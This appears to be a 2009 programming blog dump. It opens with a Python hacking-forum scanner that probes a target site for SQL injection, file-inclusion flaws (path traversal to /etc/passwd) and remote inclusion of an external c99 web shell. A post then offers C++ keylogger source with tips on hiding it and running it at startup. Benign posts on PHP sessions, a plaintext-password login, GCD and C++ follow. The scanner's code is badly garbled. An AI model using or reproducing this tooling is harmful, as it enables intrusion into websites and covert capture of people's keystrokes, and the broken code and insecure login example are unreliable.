 # / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ # 
 # \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ # 
 # \/ \/ \/ # 
 # ___________ ______ _ __ # 
 # _/ ___\_ __ \_/ __ \ \/ \/ / # 
 # \ \___| | \/\ ___/\ / # 
 # \___ >__| \___ >\/\_/ # 
 # est.2007 \/ \/ forum.darkc0de.com # 
 ############################################################################## 
 
 import urllib,sys,os,sgmllib 
 rfi=""
 myroot="root:x:"
 anjing="c99shell"
 cekrfi="http://xoomer.virgilio.it/divulgar/c99.txt?"
 lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]
 pathdisclosure1="/home/"
 pathdisclosure2="/var/"
 pathdisclosure3="/www/"
 pathdisclosure4="/html/"
 pathdisclosure5="/usr/"
 pathdisclosure6="/user/"
 pathdisclosure7="/sites/"
 pathdisclosure8="/mnt"
 pathdisclosure9="/etc/"
 pathdisclosure10="/web/"
 penghubung=" in "
 gajebo="failed to open"
 l2="http://www.googlebig.com/"
 cachesqli="-"
 cacheblind1="-"
 cacheblind100="-"
 log = "flashjumperlog.txt"
 tanya="?"
 samadengan="="
 appname = os.path.basename(sys.argv[0]) 
 ceksqli="'"
 slash="/"
 cekblind1="+order+by+1--"
 cekblind100="+order+by+300--"
 mysqli1="You have an error in your SQL"
 mysqli2="Division by zero in"
 mysqli3="supplied argument is not a valid MySQL result resource in"
 mysqli4="Call to a member function"
 accesqli1="Microsoft JET Database"
 accesqli2="ODBC Microsoft Access Driver"
 mssqli1="Microsoft OLE DB Provider for SQL Server"
 mssqli2="Unclosed quotation mark"
 oracle="Microsoft OLE DB Provider for Oracle"
 mscfm="[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect"
 general="Incorrect syntax near"
 mywisdom="http://"
 sat_ahyar="=1"
 sat_ahyar=str(sat_ahyar)
 
 class MyParser(sgmllib.SGMLParser): 
 "A simple parser class." 
 
 def parse(self, s): 
 "Parse the given string 's'." 
 self.feed(s) 
 self.close() 
 
 def __init__(self, verbose=0): 
 "Initialise an object, passing 'verbose' to the superclass." 
 
 sgmllib.SGMLParser.__init__(self, verbose) 
 self.hyperlinks = [] 
 
 def start_a(self, attributes): 
 "Process a hyperlink and its 'attributes'." 
 
 for name, value in attributes: 
 if name == "href": 
 self.hyperlinks.append(value) 
 if name == "src": 
 self.hyperlinks.append(value) 
 
 def get_hyperlinks(self): 
 "Return the list of hyperlinks." 
 
 return self.hyperlinks 
 
 
 
 if len(sys.argv) <=1:
 print "Usage : " + appname + " -mode <url> " 
 print "e.g. : " + appname + " -sqli www.google.com " 
 print "Sample mode: -sqli ,-blind, -lfi, -rfi"
 sys.exit(1) 
 elif "-h" in sys.argv: 
 print "Usage : " + appname + " -mode <url> " 
 print "e.g. : " + appname + " -sqli www.google.com " 
 print "Sample mode: -sqli ,-blind, -lfi, -rfi"
 sys.exit(1) 
 elif "--help" in sys.argv: 
 print "Usage : " + appname + "-mode <url> " 
 print "e.g. : " + appname + " -sqli www.google.com " 
 print "Sample mode: -sqli ,-blind, -lfi, -rfi"
 sys.exit(1) 
 
 site = sys.argv[2].replace("http://","") 
 site = "http://" + site.lower() 
 
 mode=sys.argv[1]
 try: 
 site_data = urllib.urlopen(site) 
 parser = MyParser() 
 parser.parse(site_data.read()) 
 except(IOError),msg: 
 print "Error in connecting site ", site 
 print msg 
 sys.exit(1) 
 links = parser.get_hyperlinks() 
 print ""
 print "***********************************" 
 print "Devilzc0de.py version 1.0"
 print "by:mywisdom (mywisdom[at]jasakom[dot]org"
 print "searching sqli,blind,rfi and lfi and search path disclosure at your target"
 print "***********************************"
 print "Every w00t message will be logged at flashjumperlog.txt,check the log after scanning finished"
 l2=site
 urlbuta=site+slash
 url_rfi_basic=site+slash
 url_lfi_basic=site+slash
 z=0
 data=""
 x=0
 for l in links: 
 	z=z+1
 	if z>50:
 		sys.exit(1)
 if mode=='-sqli':
 		z=z+1
 	if z>50:
 	 	sys.exit(1)
 		htmlsqli=""
 		nemu="no"
 		tipe=""
 			 
 		if samadengan in l and tanya in l:
 			if mywisdom not in l:
 		 l2=l+ceksqli
 		 if site not in l2:
 				 l2=site+slash+l2
 		 
 else :
 			 if site in l:
 				 l2=l+ceksqli
 		 print "[-]Checking sqli at:"+l2 
 		 response=urllib.urlopen(l2)
 htmlsqli = response.read() 
 			
 		if mysqli1 in htmlsqli:
 			nemu="yes"
 			tipe="mysql injection"
 	 elif mysqli2 in htmlsqli:
 		 	nemu="yes"
 			tipe="mysql injection"
 		elif mysqli3 in htmlsqli:
 		 	nemu="yes"
 			tipe="mysql injection (error fetching array)"
 		elif mysqli4 in htmlsqli:
 		 	nemu="yes"
 			tipe="oop application bug"
 	 
 		elif accesqli1 in htmlsqli:
 			nemu="yes"
 			tipe="ms access sql injection"
 	 	
 		elif accesqli2 in htmlsqli:
 			nemu="yes"
 			tipe="ms access sql injection"
 	 	
 		elif mssqli1 in htmlsqli:
 			nemu="yes"
 			tipe="mssql injection"
 	 	
 		elif mssqli2 in htmlsqli:
 			nemu="yes"
 			tipe="mssql injection"
 	 	
 		elif oracle in htmlsqli:
 			nemu="yes"
 			tipe="oracle sql injection"
 	 	
 		elif mscfm in htmlsqli:
 			nemu="yes"
 			tipe="cfm mssql injection"
 	 	
 		elif general in htmlsqli:
 			nemu="yes"
 			tipe="unidentified sql injection"
 	 	
 		if nemu=='yes':
 			print "[+]W00t !! Found "+ tipe+ " Bug at:"+l2
 			print "[+]Possible server's hole saved at flashjumperlog.txt"
 			filelog = open(log, "a")
 			filelog.write ("\n[+]W00t !! Found "+ tipe+ " Bug at:"+l2) 
 #tes path disclosure
 		tahap2=l2.split('=')
 		lx=tahap2[0]+sat_ahyar+ceksqli
 		if tanya in lx and z<3:
 		 print "[--]checking error request at:"+lx
 		 response=urllib.urlopen(lx)
 		 htmlsqli = response.read() 
 			
 		 if mysqli1 in htmlsqli:
 			nemu="yes"
 			tipe="mysql injection"
 	 elif mysqli2 in htmlsqli:
 		 	nemu="yes"
 			tipe="mysql injection"
 	 	
 	 	 elif accesqli1 in htmlsqli:
 			nemu="yes"
 			tipe="ms access sql injection"
 	 	
 		 elif accesqli2 in htmlsqli:
 			nemu="yes"
 			tipe="ms access sql injection"
 	 	
 		 elif mssqli1 in htmlsqli:
 			nemu="yes"
 			tipe="mssql injection"
 	 	
 		 elif mssqli2 in htmlsqli:
 			nemu="yes"
 			tipe="mssql injection"
 	 	
 		 elif oracle in htmlsqli:
 			nemu="yes"
 			tipe="oracle sql injection"
 	 	
 		 elif mscfm in htmlsqli:
 			nemu="yes"
 			tipe="cfm mssql injection"
 	 	
 		 elif general in htmlsqli:
 			nemu="yes"
 			tipe="unidentified sql injection"
 	 
 		 elif gajebo in htmlsqli:
 			nemu="yes"
 			tipe="unidentified error message"
 	 
 		 elif pathdisclosure1 in htmlsqli and penghubung in htmlsqli:
 			nemu="yes"
 			tipe="path discosure /home/"
 		 elif pathdisclosure2 in htmlsqli and penghubung in htmlsqli:
 			nemu="yes"
 			tipe="path disclosure /var/"
 		 elif pathdisclosure3 in htmlsqli and penghubung in htmlsqli:
 			nemu="yes"
 			tipe="path disclosure /www/"
 		 elif pathdisclosure4 in htmlsqli and penghubung in htmlsqli:
 			nemu="yes"
 			tipe="path disclosure /html/"
 		 elif pathdisclosure5 in htmlsqli and penghubung in htmlsqli:
 			nemu="yes"
 			tipe="path disclosure /usr/"
 		 elif pathdisclosure6 in htmlsqli and penghubung in htmlsqli:
 			nemu="yes"
 			tipe="path disclosure /user/"
 		 elif pathdisclosure7 in htmlsqli and penghubung in htmlsqli:
 			nemu="yes"
 			tipe="path disclosure /sites/"
 		 elif pathdisclosure8 in htmlsqli and penghubung in htmlsqli:
 			nemu="yes"
 			tipe="path disclosure /mnt/"
 		 elif pathdisclosure9 in htmlsqli and penghubung in htmlsqli:
 			nemu="yes"
 			tipe="path disclosure /etc/"
 		 elif pathdisclosure10 in htmlsqli and penghubung in htmlsqli:
 			nemu="yes"
 			tipe="path disclosure /web/"
 		
 		
 	 	
 		 if nemu=='yes':
 			print "[+]W00t !! Found "+ tipe+ " Bug at:"+lx
 			print "[+]Possible server's hole saved at flashjumperlog.txt"
 			filelog = open(log, "a")
 			filelog.write ("\n[+]W00t !! Found "+ tipe+ " Bug at:"+lx) 
 		
 		
 	elif mode=='-blind':
 		z=z+1
 	if z>50:
 	 	sys.exit(1)
 		nemu="no"
 		l1=urlbuta
 		l100=urlbuta
 		if samadengan in l:
 			if mywisdom not in l:
 		 l1=l+cekblind1
 		 if site not in l1:
 				 l1=site+slash+l1
 			 l100=l+cekblind100
 		 if site not in l100:
 				 l100=site+slash+l100
 else :
 			 if site in l:
 				 l1=l+cekblind1
 				 l100=l+cekblind100
 		 print "[-]Saving response length for blind sqli at :"+l1 
 		 response=urllib.urlopen(l1)
 cacheblind1 = response.read()
 		 print "[-]Saving response length for blind sqli at :"+l100 
 		 response=urllib.urlopen(l100)
 cacheblind100 = response.read()
 			panjangblind1=len(cacheblind1)
 			panjangblind100=len(cacheblind100)
 			if panjangblind1!=panjangblind100:
 				print "[+]W00t !! Found Possible Blind sqli Bug at:"+l100
 				print "[+]Possible server's hole saved at flashjumperlog.txt"
 				filelog = open(log, "a")
 			 filelog.write ("\n[+]W00t !! Found Possible Blind sqli Bug at:"+l100) 
 			else:
 				print "[-]Sorry no possible blind found here !"
 		 
 		 
 		 
 		 
 elif mode=='-lfi':
 	 z=z+1
 	 if z>50:
 	 	sys.exit(1)
 for ceklfi in lfis: 
 htmllfi="alabala ngentot akun darkc0denya udah gw 0wned hahahaha"
 		 
 		 if samadengan in l:
 	if mywisdom not in l:
 			 beforelfi=l.split('=')
 			 pj=len(beforelfi)
 da=0
 kont=""
 			 for x in beforelfi:
 				 da=da+1
 if da<pj:
 	 kont=kont+x+"="
 
 		 lfi=kont+ceklfi
 		 if site not in lfi:
 				 lfi=site+slash+lfi
 		 
 else :
 			 if site in l:
 				 
 				 
 				 beforelfi=l.split('=')
 			 pj=len(beforelfi)
 da=0
 kont=""
 			 for x in beforelfi:
 da=da+1
 if da<pj:
 				 	 kont=kont+x+"="
 				 lfi=kont+ceklfi
 		 if lfi!="":
 		 print "[-]Checking lfi at:"+lfi 
 		 try:
 			 response=urllib.urlopen(lfi)
 			 htmllfi = response.read() 
 			 except(IOError),msg: 
 print "Error in testing url: ", lfi
 print msg 
 			if myroot in htmllfi:
 			 		print "[+]W00t !! Found lfi Bug at:"+lfi
 	 		print "[+]Possible server's hole saved at flashjumperlog.txt"
 			 filelog = open(log, "a")
 					filelog.write ("\n[+]W00t !! Found lfi Bug at:"+lfi) 
 		 if samadengan in l:
 			if mywisdom not in l:
 		 lfi=l
 		 if site not in lfi:
 				 lfi=site+slash+lfi
 		 
 else :
 			 if site in l:
 				 lfi=l
 				 
 		 tahap3=lfi.split('=')
 			lfix=tahap3[0]+samadengan+ceklfi
 			if tanya in lfix:
 		 print "[--]checking lfi at:"+lfix
 		 
 try:
 			 response=urllib.urlopen(lfix)
 			 htmllfi = response.read() 
 			except(IOError),msg: 
 print "Error in testing url: ", lfix
 print msg 
 			 
 		 if myroot in htmllfi:
 			 		print "[+]W00t !! Found lfi Bug at:"+lfix
 	 		print "[+]Possible server's hole saved at flashjumperlog.txt"
 			 filelog = open(log, "a")
 					filelog.write ("\n[+]W00t !! Found lfi Bug at:"+lfix) 
 	 		 	
 		 	 
 	elif mode=='-rfi':
 	 	 z=z+1
 	 if z>50:
 	 	sys.exit(1)
 		 htmlrfi="alabala ngentot akun darkc0denya udah gw 0wned hahahaha"
 		 if samadengan in l:
 	if mywisdom not in l:
 			 beforerfi=l.split('=')
 			 pj=len(beforerfi)
 da=0
 kont=""
 			 for x in beforerfi:
 				 da=da+1
 if da<pj:
 	 kont=kont+x+"="
 
 		 rfi=kont+cekrfi
 		 if site not in rfi:
 				 rfi=site+slash+rfi
 		 
 else :
 			 if site in l:
 				 
 				 
 				 beforerfi=l.split('=')
 			 pj=len(beforerfi)
 da=0
 kont=""
 			 for x in beforerfi:
 da=da+1
 if da<pj:
 				 	 kont=kont+x+"="
 				 rfi=kont+cekrfi
 		 if rfi!="":
 		 print "[-]Checking rfi at:"+rfi 
 		 try:
 			 response=urllib.urlopen(rfi)
 			 htmlrfi = response.read() 
 			 except(IOError),msg: 
 print "Error in testing url: ", rfi
 print msg 
 			if anjing in htmlrfi:
 			 		print "[+]W00t !! Found rfi Bug at:"+rfi
 	 		print "[+]Possible server's hole saved at flashjumperlog.txt"
 			 filelog = open(log, "a")
 					filelog.write ("\n[+]W00t !! Found rfi Bug at:"+rfi) 
 		
 	 if samadengan in l:
 			if mywisdom not in l:
 		 rfi=l
 		 if site not in rfi:
 				 rfi=site+slash+rfi
 		 
 else :
 			 if site in l:
 				 rfi=l
 				 
 		 tahap3=rfi.split('=')
 			rfix=tahap3[0]+samadengan+cekrfi
 			if tanya in rfix:
 		 print "[--]checking rfi at:"+rfix
 		 
 try:
 			 response=urllib.urlopen(rfix)
 			 htmlrfi = response.read() 
 			except(IOError),msg: 
 print "Error in testing url: ", rfix
 print msg 
 			 
 		 if anjing in htmlrfi:
 			 		print "[+]W00t !! Found rfi Bug at:"+rfix
 	 		print "[+]Possible server's hole saved at flashjumperlog.txt"
 			 filelog = open(log, "a")
 					filelog.write ("\n[+]W00t !! Found rfi Bug at:"+rfix)

key logger in C++

2009-10-07T00:52:00.001+05:30

Now time to do some bad work. Here I will give you the code of a key logger that works fine in windows NT platform. The code is not mine unlike the previous one. The original link is http://www.rohitab.com/discuss/index.php?showtopic=19360.

Before this, read this link to know what this stuff is ???
http://www.amolenuvolette.it/root/kulture/keylogger.txt

Here goes the code...

// This code will only work if you have Windows NT or // any later version installed, 2k and XP will work. #define _WIN32_WINNT 0x0400 #include <windows.h> #include <winuser.h> #include <stdio.h> // Global Hook handle HHOOK hKeyHook; // This is the function that is "exported" from the // execuatable like any function is exported from a // DLL. It is the hook handler routine for low level // keyboard events. __declspec(dllexport) LRESULT CALLBACK KeyEvent ( int nCode, // The hook code WPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.) LPARAM lParam // A pointer to a struct with information about the pressed key ) { if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event ((wParam == WM_SYSKEYDOWN) || // Only react if either a system key ... (wParam == WM_KEYDOWN))) // ... or a normal key have been pressed. { // This struct contains various information about // the pressed key such as hardware scan code, virtual // key code and further flags. KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam); // dwMsg shall contain the information that would be stored // in the usual lParam argument of a WM_KEYDOWN message. // All information like hardware scan code and other flags // are stored within one double word at different bit offsets. // Refer to MSDN for further information: // // http://msdn.microsoft.com/library/en-us/winui/winui/ // windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp // // (Keystroke Messages) DWORD dwMsg = 1; dwMsg += hooked.scanCode << 16; dwMsg += hooked.flags << 24; // Call the GetKeyNameText() function to get the language-dependant // name of the pressed key. This function should return the name // of the pressed key in your language, aka the language used on // the system. char lpszName[0x100] = {0}; lpszName[0] = '['; int i = GetKeyNameText(dwMsg, (lpszName+1),0xFF) + 1; lpszName[i] = ']'; // Print this name to the standard console output device. FILE *file; file=fopen("keys.log","a+"); fputs(lpszName,file); fflush(file); } // the return value of the CallNextHookEx routine is always // returned by your HookProc routine. This allows other // applications to install and handle the same hook as well. return CallNextHookEx(hKeyHook, nCode,wParam,lParam); } // This is a simple message loop that will be used // to block while we are logging keys. It does not // perform any real task ... void MsgLoop() { MSG message; while (GetMessage(&message,NULL,0,0)) { TranslateMessage( &message ); DispatchMessage( &message ); } } // This thread is started by the main routine to install // the low level keyboard hook and start the message loop // to loop forever while waiting for keyboard events. DWORD WINAPI KeyLogger(LPVOID lpParameter) { // Get a module handle to our own executable. Usually, // the return value of GetModuleHandle(NULL) should be // a valid handle to the current application instance, // but if it fails we will also try to actually load // ourself as a library. The thread's parameter is the // first command line argument which is the path to our // executable. HINSTANCE hExe = GetModuleHandle(NULL); if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); // Everything failed, we can't install the hook ... this // never happened, but error handling is important. if (!hExe) return 1; hKeyHook = SetWindowsHookEx ( // install the hook: WH_KEYBOARD_LL, // as a low level keyboard hook (HOOKPROC) KeyEvent, // with the KeyEvent function from this executable hExe, // and the module handle to our own executable NULL // and finally, the hook should monitor all threads. ); // Loop forever in a message loop and if the loop // stops some time, unhook the hook. I could have // added a signal handler for ctrl-c that unhooks // the hook once the application is terminated by // the user, but I was too lazy. MsgLoop(); UnhookWindowsHookEx(hKeyHook); return 0; } // The main function just starts the thread that // installs the keyboard hook and waits until it // terminates. int main(int argc, char** argv) { HANDLE hThread; DWORD dwThread; DWORD exThread; hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID) argv[0], NULL, &dwThread); if (hThread) { return WaitForSingleObject(hThread,INFINITE); } else { return 1; } }

Compile it in Microsoft Visula Studio 6.0. I don't know if it can be compiled in any other compiler. As you run, it will log all the keys pressed in keys.log file in the same folder in which the executable file is present.You will see the console window as no code added to hide this.

No add some code in the main function to make it invisible...

Now the key logger is ready to run. You want to know how to start this during windows start up..http://packetstormsecurity.org/Win/auto.txt

N.B. This is for educational purpose. If anyone gets busted by using this code, I won't be responsible.

timeout in Session (PHP)

2009-10-04T17:11:00.000+05:30

Sessions allow the PHP script to store data on the web server that can be later used, even between requests to different php pages.

When a session is created, a flat-file is created on the server. Since the session ID is a unique identifier, those session files will accumulate over time.

The PHP garbage collector deletes old files from time to time. But the garbage collector is invoked with a certain probability, not every time the web server runs.

The default timeout for session files is 1440 seconds or 24 minutes. So a session file can be deleted after that timeout, but it may reside on the server longer, depending on the amount of sessions created - here comes the probability into the game.

The session may reside in server with a lifetime until the browser is closed, but the garbage collector might delete the session file much earlier. In this case, and if there is a session request after the session file has been deleted, a new session is created and the old session information is lost. This is annoying.

There are 3 variables described in PHP.ini file, which deal with the garbage collector

Variable default value Changeable
session.gc_maxlifetime 1440 seconds PHP_INI_ALL
session.gc_probability 1 PHP_INI_ALL
session.gc_divisor 100 PHP_INI_ALL

session.gc_probability along with session.gc_divisor is used to manage probability that the gc (garbage collection) routine is invoked. The probability is calculated by using gc_probability/gc_divisor.

The garbage collection timeout can be changed.


$timeout = 7200; // 7200 seconds = 2 hour
ini_set('session.gc_maxlifetime', $timeout);

Session timeout can be reduced without changing the global variable programmatically .


      session_start();
      // set timeout period in seconds
      $inactive = 600;
      if(isset($_SESSION['timeout']) ) {
         $session_life = time() - $_SESSION['timeout'];
      if($session_life > $inactive) { 
         session_destroy(); header("Location: logoutpage.php"); }
      }
      $_SESSION['timeout'] = time();

login page in PHP(naive)

2009-10-02T21:53:00.000+05:30

This example shows how to design the login page of a web site in php for naive programmers.

First create the database(I am using mysql)


CREATE TABLE login (

user_id INT AUTO_INCREMENT NOT NULL,

user_name VARCHAR(25) UNIQUE NOT NULL,

password VARCHAR(16) NOT NULL,

PRIMARY KEY(user_id)

);

Now, let's insert some data.


 INSERT INTO login

 (user_name, password)

 VALUES

 ('asit', 'lipu');



 INSERT INTO login

 (user_name, password)

 VALUES

 ('google', 'yahoo');

Now this is the html page that displays the login page.

login.html

Now let's make the php code that makes the necessary database connection..

database.php


	$hostname = "localhost";

	$username = "root";

	$password = "iitiit";

	$database = "db2";

	$link = mysql_connect($hostname, $user, $password)or die("Mysql con't be connected");

	mysql_select_db($database, $link) or die("Database can't be connected");

?>

As the user enters the username and password, the requested information is sent to the server and the login.php script will be invoked.
Here is the code

login.php

If the user successfully logs in, then the page is redirected to welcome.php, otherwise to error.html

welcome.php

error.html

Few unknown facts

No website in this world uses this technique as the login information is not encrypted.

Euclidean Algorithm(GCD)

2009-10-01T13:42:00.000+05:30

Greatest Common Divisor can easily be calculated easily using Euclidean Algorithm.

This is the non recursive pseudo code


   function gcd(a, b)
      while b ≠ 0
         t := b
         b := a mod b
         a := t
      return a


int gcd(int a, int b)
{
    if (a == 0)
       return b;
    while (b != 0)
        if (a > b)
           a = a - b;
        else
           b = b - a;
    return a;
}

This is the recursive pseudo code


function gcd(a, b)
 if b = 0
    return a
 else
    return gcd(b, a mod b)


int gcd(int a, int b)
{
    if (b==0)
       return a;
    else
       return gcd(b, a%b);
}

get IP address in C(windows)

2009-10-01T02:29:00.000+05:30

I have written this code snippet in my 2nd year which finds the ip address of windows machine. This is a simple code. Just go throw this...

#include <stdio.h> #include <WinSock.h> #include <stdlib.h> #pragma comment (lib, "wsock32.lib") int main() { WORD wVersionRequested; WSADATA wsaData; char caHostname[255+1]; PHOSTENT hostData; char *pIP; int i=0; wVersionRequested=MAKEWORD(1,1); if(WSAStartup(wVersionRequested, &wsaData)!=0) { printf("Error......code is not compartible with platform\n"); exit(EXIT_FAILURE); } if(gethostname(caHostname, sizeof caHostname)!=0) printf("Error......Hostname not found\n"); printf("HOSTNAME : %s\n",caHostname); if((hostData=gethostbyname(caHostname))==NULL) { printf("Error......code is not compartible with platform\n"); exit(EXIT_FAILURE); } while(hostData->h_addr_list[i]) { pIP = inet_ntoa(*(struct in_addr *)hostData->h_addr_list[i]); printf("IP ADDRESS %d: %s\n", ++i, pIP); } return 0; }

explicit keyword in C++

2009-10-01T00:14:00.000+05:30

Look at the following code.

Here ABC a=100 is equivalent to ABC a(100);
This is known as an implicit conversion. This reduces the readability of the code. This can be avoided by using the keyword explicit.

By prefixing the constructor with the explicit keyword, we can prevent the compiler from using that constructor for implicit conversions.

Look at the following code.

In this case ABC a=100 will be an error. We can only call this by using the constructor notation.

Some more information about explicit...

The explicit keyword is used to declare a single-argument constructor that can only be called explicitly. If the constructor takes multiple argument, it's use is useless.

It is only used in declarations of constructors within a class declaration.

Variable	default value	Changeable
session.gc_maxlifetime	1440 seconds	PHP_INI_ALL
session.gc_probability	1	PHP_INI_ALL
session.gc_divisor	100	PHP_INI_ALL